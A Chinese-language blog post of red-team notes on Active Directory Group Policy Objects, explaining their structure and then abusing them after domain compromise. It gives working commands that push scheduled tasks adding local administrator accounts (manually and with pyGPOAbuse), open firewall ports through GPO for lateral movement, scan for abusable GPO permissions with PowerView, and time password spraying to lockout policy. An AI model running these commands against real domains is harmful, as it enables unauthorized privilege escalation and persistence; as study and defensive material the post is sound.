GPO组策略以及滥用GPO以及配置不当导致的攻击链路

前言:GPO组策略以及滥用GPO以及配置不当导致的攻击链路笔记

参考文章:https://blog.riskivy.com/fun_with_acl_and_gpo/
参考文章:https://3gstudent.github.io/3gstudent.github.io/域渗透-利用GPO中的计划任务实现远程执行/
参考文章:http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
参考文章:https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
参考文章:https://markgamache.blogspot.com/2020/07/exploiting-ad-gplink-for-good-or-evil.html
参考文章:https://github.com/Group3r/Group3r
参考文章:https://daiker.gitbook.io/windows-protocol/ldap-pian/10#id-1.-ji-qi-yong-hu-gen-system-yong-hu-de-guan-xi

什么是GPO

GPO全称Group Policy Objects,用来存储Active Directory中的策略

自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户

GPO的物理存储路径

当管理员创建了域控之后,在域控机器中的SYSVOL文件夹路径中,默认会有两条顶级的GPO策略,分别显示如下:

\\test.local\SYSVOL\test.local\Policies

  • 域控机器的组策略:{6AC1786C-016F-11D2-945F-00C04fB984F9} 对应 Default Domain Controllers Policy,策略对象只适用于名为 "Domain Controllers" 的组织单位 (OU),所有新的域控制器都放在这个OU中。此策略包含一些特定于域控制器的设置,如审计策略、用户权限等。

  • 域机器的组策略:{31B2F340-016D-11D2-945F-00C04FB984F9} 对应 Default Domain Policy,策略对象适用于整个域,包括所有的用户和计算机账户。此策略定义了像密码策略、帐户锁定策略等一些关键的安全性设置。

知识点:

  • 默认情况下,域用户的组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新。

GPO的逻辑存储路径

这边的话可以通过LDAP数据库中进行查找,baseDN为CN=Policies,CN=System,DC=test,DC=local,如下图所示

从上面的图中可以看到除了两条顶级的组策略之外,还有一条是管理员自己创建的组策略GPO,其名称为LAPS,如下图所示

GPO组策略结构组成

GPO 作为两个不同的元素实现:组策略容器 (GPC) 和组策略模板 (GPT)

组策略容器GPC(Group Policy Container)

组策略容器GPC实际上就是在LDAP中的组策略的对象,GPC中包含了当前域中组策略的信息,其中包括了自身的GUID标识和配置信息以及该当前条目的ACL,如下图所示

组策略容器中,有几个重要的属性配置,如下所示

  • displayname:组策略的可读名称

  • gPCFileSysPath:组策略模板(GPT)所在的具体路径,即客户端查找具体的配置信息的物理路径,位于域控的SYSVOL共享中

  • gPCMachineExtensionNames:客户端执行该组策略所需的客户端扩展程序

知识点:当某个对象应用了某个指定的组策略时,该对象的gPLink属性将包含指向该组策略的UUID,如下图所示

在上面的图中可以看到GPLink的值为如下,具体的结构为如下所示,其中末尾的值代表当前的应用的组策略条目是否为强制执行,1为强制执行,0则不强制执行

[;<0 if the link is not enforced, 1 if the link is enforced>]

[LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=zpchcbd,DC=com;0]

组策略模板GPT(Group Policy Template)

GPT实际上就是GPO的具体展现,每个GPT中都记录着每个GPO实际下发策略的内容,即应由其链接的用户或计算机应用的设置和配置的详细信息。这就是组策略模板的作用,它就是域控制器的SYSVOL SMB共享中的一个文件夹。

GPT包含描述要实施的设置和配置所需的所有文件。当用户或计算机必须应用GPO时,它实际上会获取此SMB共享的文件以检索指令。

组策略模板中,有几个重要的概述,如下所示

  • Macheine目录:包含针对计算机的策略配置

  • User目录:包含针对用户的策略配置

  • gpt.ini文件:该组策略对象的一些配置信息(如版本信息、策略名称)

Machine目录和User目录存放着具体的策略配置信息文件,根据设置了不同的组策略配置拥有不同的目录结构,如Scripts目录包含开关机和登入登出的执行脚本、Applications目录包含关于软件的配置、Preferences目录包含首选项配置。

GPO组策略在OU中应用的优先级

当多个组策略对象(Group Policy Objects,简称GPO)与同一目标关联时,这些GPO将按照特定的顺序应用。这种顺序通常被称作"LSDOU":局部、站点、域和组织单位,也就是说首先应用局部GPO,然后是站点GPO,然后是域GPO,最后是组织单位GPO。

如下图中所示,Default Domain Policy是一种域级别的GPO,而LAPS是针对特定组织单位(OU)的GPO。因此,它们会按照LSDOU的规则应用,即先应用 Default Domain Policy,然后应用LAPS

如果这两个策略有冲突的设置,那么后应用的LAPS的设置将会覆盖Default Domain Policy的设置。所以如果存在任何冲突最终会应用LAPS的策略设置。

GPO组策略的应用对象

一个组策略链接GPO,它可以链接到域,站点和OU,可以通过下面的LDAP查询的语法来进行查询

(|(objectClass=organizationalUnit)(objectClass=site)(objectClass=domain))

GPO组策略的策略观察

上面有提到过的关于域控机器的组策略Default Domain Controllers Policy,策略对象只适用于名为 "Domain Controllers" 的组织单位 (OU),所有新的域控制器都放在这个OU中。此策略包含一些特定于域控制器的设置,如审计策略、用户权限等。

所以这边每次渗透的时候都可以事先了解下该域的防护策略的阈值是如何的,比如如果在域中想要密码喷射的话,最重要的就是了解其中域账户的登录锁定属性,根据这个属性来对应的进行控制密码喷射的次数,如下图可以看到当前这个域中的账号锁定阈值就为0,那么当前域的账号就可以无限制的进行爆破。

GPO的强制执行逻辑

参考文章:https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e

GPO如何实现只应用OU单元的策略

参考文章:https://techgenix.com/group-policy-security-filtering/

GPO是否还在运作

versionNumber这个属性是这是GPO组策略的版本号。每次修改GPO时,此数字都会增加。如果你看到此数字正在改变,那么表明 GPO 仍然在被激活和修改,在实战中可以通过该标志位来判别当前的组策略是否还在运作,如下图所示

如果当前的GPO组策略条目的属性versionNumber值为0的话,那么当前的组策略应该不再应用,如下图所示

利用GPO下发远程命令执行

通过Group Policy Management Console (GPMC) 实现计划任务的远程执行

打开组策略创建相对应的GPO策略

输入名称TestGPO1,这会创建一个全局的GPO,该策略会作用于所有域用户

此时在SYSVOL目录中会多一条组策略的文件夹

选择创建好的TestGPO1,添加计划任务

选择即时任务,这里为什么选择即时任务呢?因为即时任务有个特点,那就是该策略会在每次组策略刷新时执行

创建完成之后可以去查看下GPO策略里面的内容 对应的编号目录下的User\Preferences\ScheduledTasks下找到文件ScheduledTasks.xml

对于域内的主机,可以等待90分钟使组策略自动更新,也可以在客户端执行如下命令强制刷新组策略:gpupdate /force

我在一台域机器(非域控机器)上执行命令,结果如下

手动添加任务创建管理员用户

创建即时任务,如下图所示

启动程序为c:\windows\system32\cmd.exe,启动参数为如下/c "net user support xiaoyuer@123 /add && net localgroup administrators xiaoyuer /add"

域机器进行执行gpupdate进行测试,结果如下图所示

自动化利用

参考文章:https://github.com/Hackndo/pyGPOAbuse

这边使用的是Hackndo作者开发的pyGPOAbuse,通过该工具可以实现自动化下发策略来进行操作,这边进行学习演示下

这边找到一条组策略目前还在运行的,我这边的话就直接选择域机器的组策略31B2F340-016D-11D2-945F-00C04FB984F9

接着通过pygpoabuse工具进行下发任务进行命令执行,这边的话默认就是计划任务添加本地管理员账号,创建的名称为default task,对应的描述为push default task

python3 pygpoabuse.py 'zpchcbd.com/administrator:admin@123123123' -dc-ip 192.168.75.202 -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' -command 'net user synacktiv_pygpoabuse Password123! /add && net localgroup administrators synacktiv_pygpoabuse /add' -description 'push default task' -taskname 'default task'

注意点:在原来的组策略上进行更新下发的时候,前提条件是当前的组策略还是在运行中的,这个主要针对的是用脚本下发的时候,如果指定到了当前已经不运行的组策略的话,那么就导致下发失败。

应用防火墙的关闭

拿下域控之后,然后去寻找对应的目标主机,但是可能目标主机此时的相关横向端口都是关闭的,这就导致了无法进行横向操作,这种情况发生在个人PC机器比较多

主要影响横向端口的一般为445 135 5985 RPC动态端口之类的,所以这里解决方法的话就可以通过下发组策略来对该问题进行解决

开启入站规则

$test = Open-NetGPO -PolicyStore "hengge.com\Default Domain Policy"
New-NetFirewallRule -DisplayName "windows" -Direction Inbound -GPOSession $test -PolicyStore "hengge.com\Default Domain Policy" -Protocol TCP -LocalPort RPC
Save-NetGPO -GPOSession $test

这边的话在域机器上进行强制同步gpupdate /force,可以看到已经生效了

如果是WINRM的话那么就执行下面,端口变动即可,其他都一样

New-NetFirewallRule -DisplayName "windows" -Direction Inbound -GPOSession $test -PolicyStore "hengge.com\Default Domain Policy" -Protocol TCP -LocalPort 5985

关闭入站规则

$test = Open-NetGPO -PolicyStore "hengge.com\Default Domain Policy"
Remove-NetFirewallRule -DisplayName "windows" -GPOSession $test -PolicyStore "hengge.com\Default Domain Policy"
Save-NetGPO -GPOSession $test

如下图所示可以看到,已经被删除了

GPO精准打击

上面讲述的有如下两个缺点,这边分开进行阐述说明

  • 对全部人员下发计划任务动静太大

  • 对全部人员进行下发一个新的GPO动静太大

计划任务动静太大(实际情况不清楚)

解决的办法就是事先调研好自己需要的哪些系统机器之后再通过通过防火墙的关闭来进行解决,然后精准横向探测

创建一个新的GPO动静太大(实际情况不清楚)

可以缩小应用组策略的范围,也就是找到该用户或者是机器对应的OU组来应用已有相关的组策略,或者在顶级组策略上进行应用组策略(上面演示关闭防火墙的时候就是直接对顶级组策略上修改下发的)

PowerView提供的脚本:Get-NetGPO -ComputerName win-ske-pc.hengge.com

滥用组策略

GPO组策略条目ACL滥用

组策略的权限存在被利用的可能性,组策略的权限即组策略的DACL配置,即权限委派。

如果组策略对象的修改或完全控制权限被分配给了某个用户,当该用户被攻击者拿下之后,攻击者利用该用户权限可以修改并配置特定的组策略来渗透攻击受该组策略作用的用户或计算机。

这里讲下基于组策略滥用的权限扩展攻击路线

首先攻击者通过Invoke-ACLScanner发现域中存在危险的ACL配置

Invoke-ACLScanner -ResolveGUIDs -ADSpath "CN=Policies, CN=System, DC=pentest, DC=God" -verbose

发现yuyonghu01存在高危的ACL配置项

ObjectDN: CN={F840B20B-6EFB-48EC-B81F-62FFECA9E3EE},CN=Policies,CN=System,DC=pentest,DC=God

接着利用Get-NetOU查找应用了该组策略的OU

Get-NetOU -GUID F840B20B-6EFB-48EC-B81F-62FFECA9E3EE

发现上述OU应用了该组策略配置,再通过Get-NetComputer和Get-NetUser查找属于该OU的成员,即可确定该权限配置可能影响的用户和计算机

Get-NetOU -GUID F840B20B-6EFB-48EC-B81F-62FFECA9E3EE | %{Get-NetUser -ADSpath $_}
Get-NetOU -GUID F840B20B-6EFB-48EC-B81F-62FFECA9E3EE | %{Get-Netcomputer -ADSpath $_}

最后通过修改该组策略,如定制特殊的开机启动脚本、修改浏览器安全配置、安装特定软件、将指定域账号添加到本地管理员组、添加定时任务等等来进行拿下相对应的计算机和用户

最后使用wmic或者psexec进行远程调用刷新组策略

gpupdate /force

参考文章:https://markgamache.blogspot.com/2020/07/exploiting-ad-gplink-for-good-or-evil.html

在该文章中提到在某些AD环境中,一些管理员用户比较

Group3r敏感文件信息搜索

参考文章:https://github.com/Group3r/Group3r

通过该工具Group3r可以自动匹配历史组策略中遗留下来的敏感信息,如下图所示

Group3r.exe 4.log

可以从下面的图中看到历史的组策略中存在一些敏感的管理员操作,比如添加默认本地组的管理员账号

具体的实现是在Group3r-main\Group3r\Assessment\AnalyserFactory.cs中,当搜集完所有的GPO之后就会爬取GPO的策略目录中的分析,根据指定文件进行具体分析,比如计划任务的话就会通过SchedTask.cs来进行分析等

运维在实际中的应用

批量修改密码

这个和上面正常下发组策略步骤和命令类似,这边的话就不重复演示了

去除域用户登录本地机器

首先大家需要知道的一点是在Active Directory环境中,新创建的用户默认有权登录到域内的所有计算机,这是由Domain Users组成员身份和默认的本地安全策略决定的,如下图所示

这个特性在一些企业中可以说是比较常见,因为自己在一个大型的域环境中也碰到过这样的场景,而解决这个的方法其实是比较麻烦的。

因为自己也没当过运维,所以查阅了相关的资料如何解决该问题,解决该情况的话一般就是采取下面几种方法

从机器下手解决

将要限制登录的机器拉入到新创建的OU单元中,然后创建一个新的组策略对象 (GPO),并将其链接到你组织单位(OU)上。然后在此GPO中,你可以更改"允许本地登录"的策略设置,只包含你希望允许登录的用户或组。

我这里演示的话直接从根域进行下发组策略将域机器的Domain Users组在本地组策略中进行移除,然后管理员在每台域机器中添加对应当前该计算机的归属域用户

这种方法有个局限性就是意味着如果你有100台计算机,你将需要每次对一台计算机添加指定要登陆的域用户

从用户下手解决

在每个用户账户的属性中,有一个"登录"设置选项,你可以指定该用户能登录的计算机名。通过此设置,你可以限制用户只能登录特定的计算机,如下图所示

局限性:同样需要管理员每次进行手动操作,并且还会暴露出userWorkStation字段让攻击者进行利用,详情如下所示

我们可以根据这个找到域用户能够登录的主机。限制了域用户只能登录到某台主机之后,在LDAP里面,会设置一个字段,userWorkStation。这个字段保存了这个域用户只能登录到某台机器。而这个字段对于域内任何用户都是可读的,我们可以通过读域用户的userWorkStation来查看域用户限制登录到那一台机子。那个用户也就能够登录那台机子。

LAPs(Local Administrator Password Solution)

参考文章:https://www.cnblogs.com/zpchcbd/p/17504342.html

总结

  • 新建组策略,创建计划任务实现远程命令的执行

  • 修改已有组策略,替换计划任务实现远程命令的执行,如果域控制器上已有策略并配置了计划任务那么就不再需要注册,修改ScheduledTasks.xml中对应的执行命令的标签内容就可以了

  • 历史组策略下发任务其中含有的敏感信息

  • userWorkStation攻击链路

posted @ 2020-05-21 17:35  zpchcbd  阅读(2943)  评论(0编辑  收藏  举报